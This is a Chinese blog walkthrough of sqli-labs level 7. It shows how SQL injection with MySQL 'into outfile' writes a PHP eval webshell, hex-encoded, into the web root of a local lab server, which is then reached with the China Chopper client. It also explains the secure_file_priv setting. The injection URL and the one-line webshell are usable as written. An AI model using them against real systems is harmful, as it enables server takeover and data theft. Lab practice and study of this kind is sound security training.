当前位置: 首页 > news >正文

SQL注入漏洞解析--less-7

我们先看一下第七关

页面显示use outfile意思是利用文件上传来做

outfile是将检索到的数据,保存到服务器的文件内:
格式:select * into outfile "文件地址"

示例:

mysql> select * into outfile 'f:/mysql/test/one' from teacher_class;

secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE,

LOAD_FILE()传到哪个指定目录。secure_file_priv 为 'NULL' 时,表示限制mysqld不允许导入或导出。

secure_file_priv 为 '/tmp' 时,表示限制mysqld只能在/tmp目录中执行导入导出;

secure_file_priv '没有值'时,表示不限制mysqld在任意目录的导入导出

修改之后重启mysql,再查看一下,就是空值

当输入'时报错

通过url上传一句话木马,用webshell连接工具连接(这里我用的是中国菜刀)

1.123就是连接密码

<?php @eval($_POST['123']);?>

2.3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e是上边一句话木马的hex编码,into outfile指定在七关目录(目录写自己的)下创建2.php文件,文件内容就是刚上传的一句话木马

  1. 登录mysql查询secure_file_priv是否为空
  2. show global variables like 'secure%';    #查询secure_file_priv 
  3. 当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出 
  4. 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下 
  5. 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
  6. http://127.0.0.1/sqli-labs-php7-master/Less-7/index.php?id=-1')) union select 1,0x3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e,3 into outfile 'D:\phpstudy_x64_8.1.1.3\phpstudy_pro\WWW\sqli-labs-php7-master\Less-7\2.php'--+

3.用中国菜刀进行连接,测试连接成功

4.然后就可以访问数据库,从而获得信息

这道题其实出的挺鸡肋,你必须满足三个条件才能拿到他的数据库,第一就是必须拿到root权限;第二个就是 secure_file_priv这个必须不是NULL,这道题我这里是自己手动修改了,试想一下,如果你能修改权限了,还看不到里边的信息吗,或者你拿到root权限都不一定能修改的;第三个就是网站物理路径,这个想想办法还是有可能弄到。所以说这道题的条件还是很苛刻

相关文章:

  • 将博客搬家至微信公众号
  • springboot项目如何调用webservice-soap接口
  • IIC协议总结
  • 【MySQL】深入解析 Buffer Pool 缓冲池
  • 用 TVMC 编译和优化模型(2)
  • vue3输入单号和张数,自动生成连号的单号
  • 初阶数据结构之---栈和队列(C语言)
  • 【04】C语言括号匹配问题
  • WebServer -- 注册登录
  • Spring Cloud Gateway-系统保护Sentinel集成
  • 什么是区块链粉尘攻击?
  • 【Spring连载】使用Spring Data访问 MongoDB----对象映射之属性转换器
  • 如何打印 springboot 框架中 接收请求的日志
  • 爬虫的一些小技巧总结
  • C++:模版初阶 | STL简介
  • 2017届校招提前批面试回顾
  • 77. Combinations
  • C++11: atomic 头文件
  • chrome扩展demo1-小时钟
  • go语言学习初探(一)
  • iOS帅气加载动画、通知视图、红包助手、引导页、导航栏、朋友圈、小游戏等效果源码...
  • isset在php5.6-和php7.0+的一些差异
  • Javascript基础之Array数组API
  • js算法-归并排序(merge_sort)
  • niucms就是以城市为分割单位,在上面 小区/乡村/同城论坛+58+团购
  • NSTimer学习笔记
  • Python爬虫--- 1.3 BS4库的解析器
  • Theano - 导数
  • VirtualBox 安装过程中出现 Running VMs found 错误的解决过程
  • vue从创建到完整的饿了么(18)购物车详细信息的展示与删除
  • 从重复到重用
  • 第13期 DApp 榜单 :来,吃我这波安利
  • 给初学者:JavaScript 中数组操作注意点
  • 技术:超级实用的电脑小技巧
  • 面试题:给你个id,去拿到name,多叉树遍历
  • 区块链分支循环
  • 十年未变!安全,谁之责?(下)
  • 使用前端开发工具包WijmoJS - 创建自定义DropDownTree控件(包含源代码)
  • 通信类
  • 用简单代码看卷积组块发展
  • ​ssh免密码登录设置及问题总结
  • ​中南建设2022年半年报“韧”字当头,经营性现金流持续为正​
  • # Swust 12th acm 邀请赛# [ A ] A+B problem [题解]
  • #《AI中文版》V3 第 1 章 概述
  • #Linux(make工具和makefile文件以及makefile语法)
  • #我与虚拟机的故事#连载20:周志明虚拟机第 3 版:到底值不值得买?
  • $.each()与$(selector).each()
  • (NO.00004)iOS实现打砖块游戏(九):游戏中小球与反弹棒的碰撞
  • (待修改)PyG安装步骤
  • (三)模仿学习-Action数据的模仿
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • (一)80c52学习之旅-起始篇
  • (转)一些感悟
  • (总结)Linux下的暴力密码在线破解工具Hydra详解
  • .NET “底层”异步编程模式——异步编程模型(Asynchronous Programming Model,APM)...